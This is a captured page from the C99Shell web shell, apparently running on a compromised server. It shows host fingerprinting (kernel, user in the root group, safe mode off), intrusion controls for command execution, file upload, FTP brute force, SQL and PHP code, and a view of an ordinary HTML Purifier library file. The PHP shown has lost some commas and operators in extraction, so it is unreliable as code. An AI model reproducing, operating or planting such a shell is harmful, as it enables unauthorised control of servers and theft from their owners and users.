!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/ezyang/htmlpurifier/library/HTMLPurifier/   drwxr-xr-x
Free 28.39 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Bootstrap.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// constants are slow, so we use as few as possible
if (!defined('HTMLPURIFIER_PREFIX')) {
    
define('HTMLPURIFIER_PREFIX'realpath(dirname(__FILE__) . '/..'));
}

// accomodations for versions earlier than 5.0.2
// borrowed from PHP_Compat, LGPL licensed, by Aidan Lister <aidan@php.net>
if (!defined('PHP_EOL')) {
    switch (
strtoupper(substr(PHP_OS03))) {
        case 
'WIN':
            
define('PHP_EOL'"\r\n");
            break;
        case 
'DAR':
            
define('PHP_EOL'"\r");
            break;
        default:
            
define('PHP_EOL'"\n");
    }
}

/**
 * Bootstrap class that contains meta-functionality for HTML Purifier such as
 * the autoload function.
 *
 * @note
 *      This class may be used without any other files from HTML Purifier.
 */
class HTMLPurifier_Bootstrap
{

    
/**
     * Autoload function for HTML Purifier
     * @param string $class Class to load
     * @return bool
     */
    
public static function autoload($class)
    {
        
$file HTMLPurifier_Bootstrap::getPath($class);
        if (!
$file) {
            return 
false;
        }
        
// Technically speaking, it should be ok and more efficient to
        // just do 'require', but Antonio Parraga reports that with
        // Zend extensions such as Zend debugger and APC, this invariant
        // may be broken.  Since we have efficient alternatives, pay
        // the cost here and avoid the bug.
        
require_once HTMLPURIFIER_PREFIX '/' $file;
        return 
true;
    }

    
/**
     * Returns the path for a specific class.
     * @param string $class Class path to get
     * @return string
     */
    
public static function getPath($class)
    {
        if (
strncmp('HTMLPurifier'$class12) !== 0) {
            return 
false;
        }
        
// Custom implementations
        
if (strncmp('HTMLPurifier_Language_'$class22) === 0) {
            
$code str_replace('_''-'substr($class22));
            
$file 'HTMLPurifier/Language/classes/' $code '.php';
        } else {
            
$file str_replace('_''/'$class) . '.php';
        }
        if (!
file_exists(HTMLPURIFIER_PREFIX '/' $file)) {
            return 
false;
        }
        return 
$file;
    }

    
/**
     * "Pre-registers" our autoloader on the SPL stack.
     */
    
public static function registerAutoload()
    {
        
$autoload = array('HTMLPurifier_Bootstrap''autoload');
        if (
spl_autoload_functions() === false) {
            
spl_autoload_register($autoload);
        } else {
            
// prepend flag exists, no need for shenanigans
            
spl_autoload_register($autoloadtruetrue);
        }
    }
}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--